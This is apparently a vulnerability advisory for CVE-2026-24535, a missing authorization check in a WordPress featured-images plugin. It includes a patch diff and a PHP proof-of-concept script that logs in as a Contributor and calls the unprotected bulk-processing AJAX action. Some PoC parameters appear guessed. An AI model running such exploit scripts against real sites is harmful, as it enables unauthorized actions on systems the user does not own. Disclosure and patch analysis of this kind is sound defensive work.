Atomic Edge analysis of CVE-2026-24535:
The Automatic Featured Images from Videos WordPress plugin contains a missing authorization vulnerability in versions up to and including 1.2.7. This flaw allows authenticated attackers with Contributor-level permissions or higher to perform unauthorized bulk processing operations. The vulnerability has a CVSS score of 4.3, indicating medium severity.
The root cause is the absence of a capability check in the wds_queue_bulk_processing() function located in /includes/bulk-operations.php. The function processes AJAX requests for bulk operations but fails to verify if the current user has appropriate permissions before executing. The vulnerable code path begins at line 15 of the bulk-operations.php file, where the function directly processes POST data without validating user capabilities.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to wds_queue_bulk_processing. The request must include a valid wdsafi_nonce parameter, which Contributor users can obtain through normal plugin usage. The payload triggers bulk processing operations that should be restricted to users with higher privileges.
The patch adds a capability check at the beginning of the wds_queue_bulk_processing() function. The fix requires users to have either edit_others_posts or edit_others_pages capabilities, which are typically granted to Editor and Administrator roles but not to Contributors. This authorization check occurs before nonce verification, ensuring unauthorized users cannot bypass the check through nonce manipulation. The version number increments from 1.2.7 to 1.2.8.
Successful exploitation allows attackers with Contributor permissions to perform bulk operations that should require Editor or Administrator privileges. While the exact impact depends on the plugin’s bulk processing functionality, this could enable unauthorized modification of featured images across multiple posts or pages. The vulnerability represents a privilege escalation that violates the principle of least privilege within WordPress’s role-based access control system.
--- a/automatic-featured-images-from-videos/automatic-featured-images-from-videos.php
+++ b/automatic-featured-images-from-videos/automatic-featured-images-from-videos.php
@@ -3,7 +3,7 @@
* Plugin Name: Automatic Featured Images from YouTube / Vimeo
* Plugin URI: https://webdevstudios.com
* Description: Automatically create featured images from YouTube and Vimeo generated video thumbnails, from above the fold embeds.
- * Version: 1.2.7
+ * Version: 1.2.8
* Author: WebDevStudios
* Author URI: https://webdevstudios.com
* License: GPLv2
--- a/automatic-featured-images-from-videos/includes/bulk-operations.php
+++ b/automatic-featured-images-from-videos/includes/bulk-operations.php
@@ -15,6 +15,10 @@
*/
function wds_queue_bulk_processing() {
+ if ( ! current_user_can( 'edit_others_posts' ) && ! current_user_can( 'edit_others_pages' ) ) {
+ return;
+ }
+
if ( empty( $_POST['wdsafi_nonce'] ) || ! wp_verify_nonce( $_POST['wdsafi_nonce'], 'wdsafi-ajax-nonce' ) ) {
wp_die( esc_html__( 'Nonce failure', 'automatic-featured-images-from-videos' ) );
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24535 - Automatic Featured Images from Videos <= 1.2.7 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24535
* Requires Contributor-level WordPress credentials
* Demonstrates unauthorized access to bulk processing functionality
*/
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';
// First, authenticate to WordPress and obtain cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Check if authentication succeeded
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Now exploit the missing authorization vulnerability
// First, we need to obtain a valid nonce from the plugin interface
// For this PoC, we assume the attacker can obtain a nonce through normal Contributor access
// In a real attack, the attacker would first visit a page that generates the nonce
$nonce = 'obtained_nonce_value'; // Replace with actual nonce obtained through plugin usage
// Prepare the exploit payload
$payload = [
'action' => 'wds_queue_bulk_processing',
'wdsafi_nonce' => $nonce,
// Additional parameters required by the bulk processing function
'post_ids' => '1,2,3', // Example post IDs to process
'operation' => 'generate_featured_images'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $payload,
CURLOPT_REFERER => str_replace('admin-ajax.php', 'edit.php', $target_url)
]);
$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze response
if ($http_code == 200 && strpos($exploit_response, 'success') !== false) {
echo "[+] Vulnerability exploited successfully.n";
echo "[+] Unauthorized bulk processing performed.n";
echo "[+] Response: " . substr($exploit_response, 0, 500) . "n";
} else if (strpos($exploit_response, 'Nonce failure') !== false) {
echo "[-] Nonce validation failed. Need valid nonce.n";
} else if (strpos($exploit_response, 'edit_others_posts') !== false) {
echo "[-] Target appears to be patched (capability check present).n";
} else {
echo "[-] Exploit attempt failed. HTTP Code: $http_coden";
}
?>
